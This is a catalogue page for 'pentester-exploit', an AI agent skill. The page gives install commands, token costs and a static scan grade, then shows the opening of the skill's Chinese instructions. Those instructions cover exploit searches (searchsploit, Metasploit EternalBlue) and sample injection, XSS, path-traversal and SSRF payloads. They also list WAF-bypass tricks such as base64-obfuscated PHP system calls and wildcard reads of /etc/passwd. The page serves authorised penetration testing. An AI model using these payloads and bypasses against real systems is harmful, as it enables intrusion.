Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/fb0sh/pentester/pentester-exploitnpx skills add fb0sh/pentester --skill pentester-exploitgit clone --depth 1 https://github.com/fb0sh/pentesterWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00061 | $0.01734 |
| Opus 5 | $0.00030 | $0.00867 |
| Sonnet 5 | $0.00012 | $0.00347 |
| Haiku 4.5 | $0.00006 | $0.00173 |
Grade A, and why
pentester-exploit scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -v -o response.txt -d "payload" https://target.com/vuln Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -v -o response.txt -d "payload" https://target.com/vuln How it starts
The opening of the file, as written. The whole thing — 243 lines — stays where its author put it; the contents beside it link to each section on GitHub.
漏洞利用 Skill
对已发现的漏洞进行验证和利用，生成 PoC 证据。
1. 现有 Exploit 搜索
优先搜索已有利用，避免重复造轮子。
exploit-db
# 搜索漏洞利用
searchsploit apache 2.4.49
searchsploit "WordPress 5.8"
searchsploit --cve 2021-44228
# 查看利用代码
searchsploit -x 50383
# 下载利用代码
searchsploit -m 50383
Metasploit
# 搜索模块
msfconsole -q
msf6 > search type:exploit apache 2.4.49
msf6 > search cve:2021-44228
msf6 > search eternalblue
# 查看模块详情
msf6 > info exploit/windows/smb/ms17_010_eternalblue
# 查看选项
msf6 > show options
其他资源
# NMap NSE 脚本
nmap --script vuln target.com
# GitHub PoC 搜索
# 搜索: "[vulnerability name] poc github"
2. PoC 构造
搜索无果时，手动构造最小化验证 payload。
原则
- 仅验证漏洞存在，不执行破坏性操作
- 使用
id、whoami、SELECT 1、alert(1)等无害 payload - 记录完整请求/响应链
构造步骤
- 识别漏洞类型 — 根据前期侦察确定漏洞类别
- 选择利用方法 — 匹配合适的 payload 类型
- 构造最小 payload — 仅触发漏洞，不做额外操作
- 考虑 WAF 绕过 — 如需绕过过滤，参考 WAF 绕过策略
- 验证 payload — 本地测试 payload 语法正确
常见漏洞类型
| 类型 | 验证 Payload |
|---|---|
| SQL 注入 | ' OR 1=1--, UNION SELECT NULL-- |
| 命令注入 | ;id, |whoami, $(id) |
| XSS | <script>alert(1)</script>, <img src=x onerror=alert(1)> |
| 文件包含 | ../../../../etc/passwd, php://filter/convert.base64/resource= |
| 反序列化 | 框架特定 gadget chain |
| SSRF | http://127.0.0.1:8080, http://[::1] |
3. WAF 绕过策略
遇到 WAF 拦截时，按以下策略绕过。完整参考 pentester-waf-bypass skill。
PHP 绕过
# base64 编码函数名
$f=base64_decode('c3lzdGVt');$f('id');
# 字符串拼接
$f='sys'.'tem';$f('id');
# 可变函数
$a='sys';$b='tem';$a$b('id');
SQL 绕过
-- 大小写混合
SeLeCt
-- 内联注释
S/*!ELECT*/
-- 等价函数
GROUP_CONCAT(column) → concat_ws(',',column)
命令注入绕过
# 管道符
id|whoami
# 换行符
id%0awhoami
# 变量拼接
a=i;d=b;$a$b
# 通配符
/bin/ca? /etc/pas?d
4. 漏洞验证
执行步骤
- 执行 PoC — 发送 payload，验证漏洞存在
- 记录请求 — 保存完整请求头和请求体
- 记录响应 — 保存完整响应头和响应体
- 截图取证 — 截图或复制关键证据
- 写入证据 — 保存至
target/${ID}/evidence/
验证检查清单
- 确认漏洞触发（成功回显/错误信息/异常行为）
- 完整请求已记录
- 完整响应已记录
- 截图或关键证据已保存
- Payload 可复现
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- yesterday First seen · 243 lines · 61 tokens per session scan A fac150cc6f68
pentester-exploit is a skill published in the GitHub repository fb0sh/pentester (23 stars, last pushed 1mo ago), licensed MIT. It adds 61 tokens to every session and 1,734 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
transilience-report-style
Threat Intelligence Report Design System — ReportLab-based PDF generation for A4 reports with Transilience branding, typography, and layout standards.
firewall-review
Evidence-safe firewall ruleset audit reference specification — 22 documented detector patterns (17 vendor-agnostic plus 5 FortiGate-specific), a 15-check semantic catalogue, CIS Fortinet FortiGate Benchmark guidance, a custom customer-policy benchmark, and consolidated network-team Excel profiles including grouped…
pentest-engagement
Run a professional penetration engagement OR a network vulnerability scan from a scope. WEB mode (apex domains / app URLs) — mandatory surface expansion, systematic OWASP attack-class coverage, reversible active exploitation, authoritative validation, Transilience PDF. NETWORK mode (a list of IPs/CIDRs, e.g. 1500…
coordination
Pentest coordination — orchestrates executor and validator agents with context-controlled spawning. Entry point for all engagements.
hackerone
HackerOne bug bounty automation - parses scope CSVs, deploys parallel pentesting agents per asset, validates PoCs, and generates platform-ready submission reports.
pci-secure-software
Automated PCI Secure Software Standard (SSS) v2.0 readiness gap-assessment of an application from its source code and documentation. Deterministically enumerates every applicable Test Requirement from a pinned catalog, gathers source/doc evidence, and emits an evidence-bound per-requirement verdict (MET / NOTMET /…